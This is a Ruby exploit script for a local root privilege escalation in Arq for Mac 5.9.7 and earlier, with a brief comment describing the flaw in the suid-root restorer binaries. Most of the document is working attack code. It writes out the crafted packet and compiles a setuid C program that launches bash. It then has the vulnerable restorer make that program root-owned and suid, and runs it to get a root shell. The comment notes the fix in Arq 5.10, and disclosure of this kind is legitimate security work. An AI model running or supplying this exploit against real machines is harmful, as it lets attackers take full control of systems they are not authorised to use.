Arq 5.9.7 - Local root Privilege Escalation

=begin
As well as the other bugs affecting Arq <= 5.9.6 there is also another issue
with the suid-root restorer binaries in Arq for Mac. There are three of them
and they are used to execute restores of backed up files from the various
cloud providers.
 
After reversing the inter-app protocol I discovered that the path to the
restorer binary was specified as part of the data packet sent by the UI. After
receiving this, the restorer binaries then set +s and root ownership on this
path. This means we can specify an arbitrary path which will receive +s and root
ownership.
 
This issue is fixed in Arq 5.10.
=end
 
#!/usr/bin/env ruby
 
##################################################################
###### Arq <= 5.9.7 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html               ######
##################################################################
 
s = File.stat("/Applications/Arq.app/Contents/Resources/standardrestorer")
 
if s.mode != 0104755 or s.uid != 0
  puts "Not vulnerable - standardrestorer is not suid root."
  exit 1
end
 
binary_target = "/tmp/arq_597_exp"
 
d = "\x01\x00\x00\x00\x00\x00\x00\x00"
e = "\x00\x00\x00\x00\x03"
z = "0000"
target = sprintf("%s%s-%s-%s-%s-%s%s%s", z,z,z,z,z,z,z,z)
plist = "<plist version=\"1.0\"><dict><\/dict><\/plist>"
backup_set = "0" * 40
hmac = "0" * 40
 
payload = sprintf(
  "%s%s%s%s\$%s%s\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" +
  "\x00\x00\x00\x00\x00\x09\x00\x00\x02\xd0\x96\x82\xef\xd8\x00\x00\x00\x00" +
  "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08\x30\x2e\x30" +
  "\x30\x30\x30\x30\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
  "\x00\x00\x00\x00\x00\x00\x00%s%s%s\x28%s\x01\x00\x00\x00%s\x00\x00\x00%s" +
  "\x00\x00\x00\x00\x16\x00\x00\x00\x02%s\x28%s\x01\x00\x00\x00%s\x00\x00" +
  "\x00%s\x00\x00\x00\x00\x00\x00\x00\x01\xf5\x00\x00\x00\x00\x00\x00\x00" +
  "\x14\x00%s\x00\x00\x00\x00\x03%s\x0a",
    d, binary_target.length.chr, binary_target,
    d, target,
    d, plist.length.chr, plist,
    d, backup_set,
    d, d, d, hmac,
    d, d, d, e * 10
  )
 
shellcode = "#include <unistd.h>\nint main()\n{ setuid(0);setgid(0);"+
  "execl(\"/bin/bash\",\"bash\",\"-c\",\"rm -f #{binary_target};/bin/bash\","+
  "NULL);return 0; }"
 
IO.popen("gcc -xc -o #{binary_target} -", mode="r+") do |io|
  io.write(shellcode)
  io.close
end
 
IO.popen("/Applications/Arq.app/Contents/Resources/standardrestorer " +
  "2>/dev/null", mode="r+") do |io|
  io.getc && io.write(payload)
end
 
timeout=3
i=0
 
while (s = File.stat(binary_target)) && (s.mode != 0104755 or s.uid != 0)
  sleep 0.1
  i += 1
 
  if i >= (timeout * 10)
    break
  end
end
 
if s.mode == 0104755 and s.uid == 0
  system(binary_target)
  exit 0
end
 
puts "exploit failed"